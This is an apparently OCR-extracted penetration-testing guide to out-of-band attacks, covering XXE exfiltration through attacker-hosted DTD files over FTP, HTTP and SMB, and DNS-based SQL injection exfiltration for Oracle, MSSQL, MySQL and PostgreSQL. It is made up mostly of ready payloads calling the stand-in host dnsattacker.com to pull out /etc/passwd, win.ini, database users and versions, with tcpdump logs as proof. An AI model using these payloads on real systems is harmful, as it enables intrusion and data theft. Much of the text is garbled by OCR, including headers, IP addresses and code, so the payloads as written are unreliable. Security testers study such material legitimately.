attacker@nsl:~% python xxeftp.py

POST /login HTTE/L.1

Hoszt: 192.1658.178.43

User-Agent: Mozilla/5.0 (Windows NT 10.0;
Gecko/Z0100101 Firefox/EZ.0

Aoccept:

Wingd: =x€4:

Aoccept-Lancuage: en-US,en;qg=0.5
Aocecept-Encoding: gzip, deflate
http://192.168.178.43/ login
Content-Type: text/xml
Content-Length: 157

Connection: close

Referer:

Upgrade-Insecure-Eecquests: 1

text/html, application/=xhtml+xml, application/xml;gq=0.9,

XXE-FTP listening
Connected by %s ("202.0 JE0 ., 5752)
rv:£2.0) |USER anonymous

PASS Javal.7.@-internalf@

i r=0.8 YPE I

ﬁ;oot:x:B:B:root:froot:/bin!sh 1\
lp:x:7:7:1p:/var/spool/lpd:/bin/sh

nobody :x:65534:65534 :nobody: /nonexistent:/bin
/false

tc:®:1081:508:Linux User,,,:/home/tc:/bin/sh
[ = — ] - s T E
GRS R SiN (R | n

r(?_xml version="1.0" 7>
<!DOCTYPE £ [
<!ELEMENT r ANY >

play:x:lBB:65534:[inux User,,,:/opt/play-2.1.
3/xxe/:/bin/false
mysql:x:181:65534:Linux User,,,:/home/mysgl:/

'\

<!ENTITY % =p SYTSTEM

"http:///dnsattacker.com: 9000/ linux. ded'|=

binEPSV ALL
/ETC/PASSWD

vap: EPSV ‘?
sparaml; Requesting remote DTD file N \ 1
" )
regexfil;</r>
e s
@ attacker@nsl: ~ / — - §

ﬁ%iacker@nsl:m$ python -m SimpleHTTPServer 98666
Serving HTTP on ©.8.8.8 port 9888 ...
202.14,.0% & - - [29/Aug/2018 @9:37:57] "GET /linux.

q&dHTTPfl L1" 288 -

tackergnsl:~% cat linux.dtd
<!ENTITY ¥ data SYSTEM "file:///etc/passwd"» EE
<!ENTITY % paraml "<!ENTITY exfil SYSTEM 'ftp://dnsattac
ker.com:2121/%data; "»">»

attacker@nsl:~$

linux.dtd Contents generating FTP requests

Note: for windows-based victim machines use below mention dtd file

windows.dtd

<!ENTITY % data SYSTEM

"file:///c:/windows/win.ini">

<!IENTITY % paraml "<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>">

SMB [Stealing hashes]

Attacker: Run responder to capture hashes

sudo ./Responder.py -I ethO
Victim:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [

<!ELEMENT foo ANY >

<IENTITY xxe SYSTEM "\\dnsattacker.com\test"
<foo>&xxe;</foo>

>1>

Note: For demonstration purposes, we will using CVE-2018-0878:Windows Remote Assistance XXE vulnerability



Invitation....

nd Wiew Gote Tools Project] Preferences Help

version="1.0" encoding="IS0-8859-1"?>
foo [
foo /
Xxe "\\dnsattacker.com\test" >]>«

0 Windows Remote Assistance

Remote Assistance can't make the
connection
The file could be corrupted, and it should be verified

before trying again. If the problem persists, contact
your system administrator,

MADNSAT TALKER .. CUMNLPLS

[SMET Requested Share

Similarly,other possible payloads to exfiltrate data

http://oob.dnsattacker.com:port/%data
ftp://oob.dnsattacker.com:port/%data
gopher://oob.dnsattacker.com:port/%data%
ldap://oob.dnsattacker.com:port
\\oob.dnsattacker.com\\C$\\1.txt

SQL Injection
Note: All Database server installations are on Windows. For extensive SQL Injection cheat sheets refer here and here

Detection

DNS

Attacker: Use Wireshark/tcpdump for port 53 to observe response.

sudo tcpdump -n port 53
ORACLE
Detection
Victim

SELECT DBMS LDAP.INIT((‘oob.dnsattacker.com',80) FROM DUAL;


http://pentestmonkey.net/category/cheat-sheet/sql-injection
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

SOL> SELECT DBMS_LDAP.INIT( 'oob.dnsattacker.com',80) FROM dual;
JSELECT DBMS_LDAP.INIT( 'oob.dnsattacker.com’,80) FROM dual
]
ERROR at line 1:
ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 79

ORA-06512: at "$YS.DBMS_LDAP", line 5@

SaL>

19:15:46.024201 IP 74.125. 59 > 10.142.0.2.53: 55095% [lauf] A? oob.dnsattacker.com. (59)
19:15:46.980449 IP 162.158& > 10.142.9.2.53: 24380 [lau] A? OoB.DnsAttaCker.cOM. (48)
19:15:47.024702 IP 172.217 1 5 > 19.142.0.2.53: 21421% [lau] A? oob.dnsattacker.com. (48)
19:15:47.380716 IP 162.158& ® > 10.142.9.2.53: 24380 [lau] A? OoB.DnsAttaCker.cOM. (48)
19:15:47.577703 IP 162.158& > 10.142.9.2.53: 24380 [lau] A? OoB.DnsAttaCker.cOM. (48)
19:15:47.777673 IP 162.158& > 10.142.9.2.53: 24380 [lau] A? OoB.DnsAttaCker.cOM. (48)
19:15:48.016699 IP 74.125. @54 > 10.142.0.2.53: 36302% [lau] AP oob.dnsattacker.com. (59)
19:15:48.025083 IP 172.217 > 19.142.0.2.53: 3706% A? oob.dnsattacker.com. (37)
19:15:49.717369 IP 172.217 3 > 19.142.0.2.53: 45530% [lau] A? oob.dnsattacker.com. (48)
19:15:51.418748 IP 172.217 5 > 19.142.0.2.53: 2528% A? oob.dnsattacker.com. (37)

Note: In order to use this technique higher privileges are required to call the functions mentioned above.
Exploitation/Exfiltration
Victim
SELECT DBMS LDAP.INIT( (SELECT version FROM v$instance)||'.attacker.com',80) FROM dual; /* Extracting

Oracle database version */

I
S
IsaL> SELECT DBMS_LDAP.INIT((SELECT version FROM u$instance) ||’ )oob.dnsattacker.com’,80) FROM dual;
SECECT DBRS_LOAP T INIT((SECECT Version FRUM USinstance)i| .oob.dnsattacker.com ,80) FRUA dual
E3

ERROR at line 1:

ORA-31203: DBMS_LDAP: PL/SAL - Init Failed.
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 79
ORA-0B512: at "SYS.DBMS_LDAP", line 5@

.816%63 172.217. 10.142.0.2.53: 39806% [lau] AP|11.2.0.2.0.pob.dnsattacker.com.

.975686 162.158. > 10.142.0.2.53: 27881 [lau] o = : :
19:11:46.014844 IP 172.217. 10.142.0.2.53: 10172% [lau] A? 11.2.0.2.0.cob.dnsattacker.com.
19:11:46.374937 IP 162.158. > 10.142.0.2.53: 27881 [lau] NS? ©.00b.DnSATtACKeR.Com. (58)
19:11:46.575273 IP 162.158. > 10.142.0.2.53: 27881 [lau] NS? ©.00b.DnSATtACKeR.Com. (5©)
19:11:46.776949 IP 162.158. . . > 10.142.0.2.53: 27881 [lau] NS? ©.00b.DnSATtACKeR.Com. (58)
19:11:47.015601 IP 172.217. 16.142.8.2.53: 10793% A? 11.2.0.2.0.ocb.dnsattacker.com. (48)
19:11:47.0629824 IP 172.217. > 10.142.0.2.53: 36631% [lau] A? 11.2.8.2.8.oob.dnsattacker.com.
19:11:48.831070 IP 74.125.1 1 > 10.142.0.2.53: 55099% [lau] A? 11.2.0.2.0.co0b.dnsattacker.com
19:11:49.631523 IP 74.125.1 > 16.142.0.2.53: 27367% A? 11.2.0.2.0.ocb.dnsattacker.com. (48)

Similarly, we could use below payloads.

Victim

SELECT DBMS LDAP.INIT( (SELECT user FROM dual)||'.attacker.com',80) FROM dual; /*Extracting Current
user in Oracle database */

If you are working with 10G or lower version of Oracle some alternative methods to create DNS queries are : UTL_INADDR.GET _HOST _ADDRESS,
UTL_HTTP.REQUEST, HTTP_URITYPE.GETCLOB, DBMS _LDAP.INIT and UTL_TCP.

MSSQL



Detection
Victim

EXEC master..xp dirtree '\\oob.dnsattacker.com \' —

(exec master..xp_dirtree '\\oob.dnsattacker.com\' -- i)

@ Sending DNS queries to Attacker
server

listening on eth®, link-type EN16MB (Ethernet), capture size 262144J:;:}gte
16:©8:51.032115 IP 74.12 = > 19.142.0.2.53: 8843% [lau] A?éob dnsattacker. com)(59)
16:0©8:51.131307 IP 74.120.18 .1 [I2% > 18.142.0.2.53: 30761% [lau] A? oob.dnsattacker.com. (59)
16:08:52.933223 IP 172.2 > 10.142.0.2.53: 64523% [lau] A? oob.dnsattacker.com. (48)
16:©8:52.033649 IP 172.2 | > 10.142.0.2.53: 60803% [lau] A? oob.dnsattacker.com. (59)
16:08:52.832361 IP 172.200._ B el 19.142.0.2.53: 23491% [l1aul A? oob.dnsattacker.com. (48)

Exploitation/Exfiltration
Victim
DECLARE @data varchar(1024);

SELECT @data = (SELECT system_user);
EXEC( 'master..xp dirtree "\\'+@data+'.oob.dnsattacker.com\foo$"');

~IDECLARE (@data varchar(1824

stscr gine - (SeLiTT ster )

EXE aster..xp_dirtree "\\ +@data+ .oob.dnsattacker.com\foo$ ver queri
®
17:12:06.011458 IP 74.12F. 785, 14 4&wFy > 10.142.0.2.53: 36363% [1au] AXvictim.bob.dnsattacker.com. (55)
17:12:06.106756 IP 162.17%W &% 58 i » 10.142.0.2.53: 62822 [lau] A? .o0b.dNsAtTaCker.COm. (55)
17:12:06.141278 IP 74.12 i > 16.142.0.2.53: 7233% [lau] A? victim.oob.dnsattacker.com. (55)
17:12:06.141334 1P 172.21 | ilf > 19.142.9.2.53: 26268% [lau] A? victim.oob.dnsattacker.com. (66)

Limitation:: In order to use this technique database user should have sysadmin privileges.

Similarly, Other methods to create DNS queries: xp _fileexists, xp_subdirs, xp _getfiledetails, sp_add_jobstep

MYSQL
Detection

Victim:
SELECT LOAD FILE(CONCAT('\\\\', 'oob.dnsattacker.com\\test.txt'));

MariaDB L[(nonel)l>
MariaDB [(none)1>| SELECT LOAD_FILECCONCAT('SN\\N?, 'oob.dnsattacker.com™\\test.

1 row in set (5.91 sec)
MariaDB [(nonell> _

20:22:088.129169 IP 5> 10.142.0.2.53: 21786 [lau] A?|oOb.dNSaTTAckeR.coM.
20:22:88.529058 IP 4 > 10.142.0.2.53: 21786 [lau] A? &Ob - (48)
20:22:08.730704 IP 162. L LIS 5 > 19.142.09.2.53: 21786 [lau] AP oOb.dNSaTTAckeR.coM. (48)
20:22:08.881440 IP 172. . ifEs > 10.142.9.2.53: 2755% [lau] AP oob.dnsattacker.com. (48)
20:22:08.936942 IP 162. = #5 > 10.142.9.2.53: 21786 [lau] AP oOb.dNSaTTAckeR.coM. (48)

Exploitation/Exfiltration
Victim

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT HEX(CONCAT(user(),"\n"))), '.oob.dnsattacker.com\\test.txt'));



Limitation: In order to use this technique database user should have Select, update and File permissions.

1 row in set (5.01 sec)

ﬁ;rlaDB [{none)1> SELECT LOAD_FILECCONCAT(’NN\NY,

(

ELECT HEX(CONCAT(user(), "\n" )))) .oob. dnsattacker.com\\test.txt’));

@

1l row in set (5.01 sec)
MariaDB L[{none)}l> _

Extracting data Over DNS
queries

33530% [1au] 4?(746573744@6C6F63616C636F7374eA)oob.dnsattacker.coml (@)

15:31:31.1372%9@ IP 172.; 16.142.6.2.53:

15:31:32.10939@ IP 162.: 16.142.0.2.53: 36941 [lau] A? (79)
15:31:32.307567 IP 162.: 16.142.0.2.53: 36941 [lau] A? 74657374406C6F63616c686H73740A.00b.DnsATtACKeR.COm. (79)
15:31:32.505767 IP 162.: 16.142.0.2.53: 36941 [lau] A? 74657374406C6F63616c686FF3740A.00b.DnsATtACKeR.COm. (79)
15:31:32.707329 IP 162.: 16.142.0.2.53: 36941 [lau] A? 74657374406C6F63616c686FA3740A.00b.DnsATtACKeR.COm. (79)
15:31:32.834587 IP 172.; 18.142.8.2.53: 45455% [lau] A? 74657374406C6F63616C686K73740A.00b.dnsattacker.com. (79)
15:31:33.132188 IP 172.. 18.142.8.2.53: 54317% [lau] A? 74657374406C6F63616C686F)3740A.00b.dnsattacker.com. (98)
15:31:34.420975 IP 172.: 18.142.8.2.53: 21529% [lau] A? 74657374406C6F63616C686F [3740A.00b.dnsattacker.com. (98)
15:31:34.535559 IP 172.; 18.142.8.2.53: 62875% A? 74657374406C6F63616C686F73740A Joob.dnsattacker.com. (68)
15:31:34.836432 IP 74.1, 10.142.8.2.53: 44644% [lau] A? 74657374406C6F63616C686F7B740A.0ob.dnsattacker.com. (79)
15:31:36.125684 IP 74.1; = 19.142.8.2.53: 48148% [lau] A? 74657374406C6F63616C686F78740A.0ob.dnsattacker.com. (79)
415:31:36.533027 IP 74.1. 18.142.8.2.53: 36699% A? 74657374406C6F63616C686F73740A. pob.dnsattacker.com. (68)
15:31:37.825868 IP 172.: 18.142.8.2.53: 33598% A? 74657374406C6F63616C686F73740A oob.dnsattacker.com. (68)

@

attacker@nsl: $

() : echo "Bx74657374486C6F63616C686F73748A" | xxd -r Hex decoding Output

test@localhost
attacker{@nsl:

Postgresql
Detection

Victim

CREATE EXTENSION dblink;SELECT dblink connect('
dbname=dvdrental');

NROR ould no
DETA ould
@
8:30:29.083668
8:30:308.855213
8:30:30.087258
8:30:30.455569
8:30:308.6524063
8:30:30.855471
8:36:31.085882
8:30:31.260391
8:30:32.2611680
8:36:33.261585

IP
IP
IP
IP
IP
IP
IP
IP
IP
IP

VOV OV W W

> 10.142.0.2.53: 24125% [lau] A? |oob.dnsattacker.com.
16.142.8.2.53:
18.142.8.2.53:
16.142.8.2.53:
16.142.8.2.53:
18.142.8.2.53:
> 10.142.8.2.53:
> 16.142.8.2.53:

host=oob.dnsattacker.com user=postgres password=password

48354 [lau] A? oOB.DNSatTaCKER.com. (¢
63186% [lau] A? oob.dnsattacker.com. |
48354 [lau] A? oOB.DNSatTaCKER.com. (¢
48354 [lau] A? oOB.DNSatTaCKER.com. (¢
48354 [lau] A? oOB.DNSatTaCKER.com. (¢
31831% A? oob.dnsattacker.com. (37)
5969% [lau] A? oob.dnsattacker.com. (¢

' > 10.142.9.2.53: 31385% [lau] A? oob.dnsattacker.com.
1 > 10.142.9.2.53: 17126% A? oob.dnsattacker.com. (37)

Limitation: User must have superuser privileges to execute CREATE EXTENSION query

Exploitation/Exfiltration



Victim

DROP TABLE IF EXISTS table output;

CREATE TABLE table output(content text);

CREATE OR REPLACE FUNCTION temp function()

RETURNS VOID AS $$

DECLARE exec_cmd TEXT;

DECLARE query result TEXT;

BEGIN
SELECT INTO query_ result (SELECT encode(convert_to(concat (user, ' '), 'UTF8'), 'hex'));
exec_cmd := E'COPY table output(content) FROM

E\'\\\\\\\\'"' | |query result||E'.oob.dnsattacker.com\\\\foobar.txt\'";
EXECUTE exec_cmd;

END;

$$ LANGUAGE plpgsql SECURITY DEFINER;

SELECT temp_ function();

CREATE TABLE table_ output (content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS 55

DECLARE exec cmd TEXT;

DECLARE query result TEXT;

(DROP TRABLE IF EXISTS table_ output; ‘\

E97":38:43.395991 IP 74 .0F% b &l "ET9T > 18.142.8.2.53: 15152% [lau] A
%07:38:44.563243 IP 172 1174l
)i

87:38:47.961426 IP 172 L1 il difid r 19.142.8.
©7:38:48.245014 IP 172 [17 AT F 48070 = 10.142.0.
97:38:49.948907 IP 172 Jir A1.LM.F=] > 106.142.

e.
e.
e.
1e.142.06.
2.53: 62557% A? 706f7374677265732820402620.00b.dnsattacker.com. (64)
2
e

.53: 8525% A? 786f73746772657328292082020.00b.dnsattacker.com. (64)

BHBEGIN
SELECT INTO query_result (SELECT encode (convert_to (concat (user, ' 'y, 'UTFB'), 'hex'));
exec _cmd := E'COPY table output (content) FROM EM\'M\M\\A\\'||query result||E'.ocob.dnsattacker.com\\\\foobar.txt\""'
XECUTE exec_cmd;
END;
$$ LANGUACGE plpgsgl SECURITY DEFINER;
\_SELECT temp_ function(); J
7
@)e\er_‘t attacker@ns1: ~ Extracting data Over DNS — [
. L $ sudo tcpdump -n udp port 53 queries
tcpdump: verbose output suppressed, use -v or -vv for full protocol d e
listening on eth®, link-type EN1@MB (Ethernet), capture size 262144 bytegs N

(766F73746??265732926292626.Lob.dnsattacker.com.

Ll EES > 19.142.0.2.53: 16753% [lau] A? <
97:38:45.006570 IP 172 I17 ML L7 408 > 18.142.8.2.53: 308876% [lau] AP? 766f737467A265732020282028. Oob dnsattacker.com.
©7:38:46.263554 IP 172 11F M1 1™ J80H > 10.142.0.2.53: 30079% [lau] A? 766f7374677265732020202028.00b.dnsattacker.com.
07:38:46.547171 IP 172 (1~ 1] [0 AREI > 10.142.6.2.53: 46826% [lau] A? 766T73746772657320202082028.00b.dnsattacker.com.
97:38:46.707326 IP 74.0:% e bonl e > 2.53: 37525% A? 706f7374677265732806262020.00b.dnsattacker.com. (64)

.53: 56254% [lau] A? 706f73746772657432620202020.00b.dnsattacker.com. (7
2

@ Select attacker@ns1: ~ —
T R -3 Hex decoding data to
Rt ¥l § $lecho "ex7e@6f7374677265732020202020" | xxd -r ) retrieve output

ostgres attackerf@nsl: $%

Limitation: User must have superuser privileges to execute this command

Limitations of using DNS for data exfiltration

® A domain name can have maximum of 127 subdomains.

e Each subdomains can have maximum of 63 character length.

® Maximum length of full domain name is 253 characters.

® Due to DNS records caching add unique value to URL for each request.

® DNS being plaintext channel any data extracted over DNS will be in clear text format and will be available to intermediary nodes and DNS
Server caches. Hence, it is recommended not to exfiltrate sensitive data over DNS.
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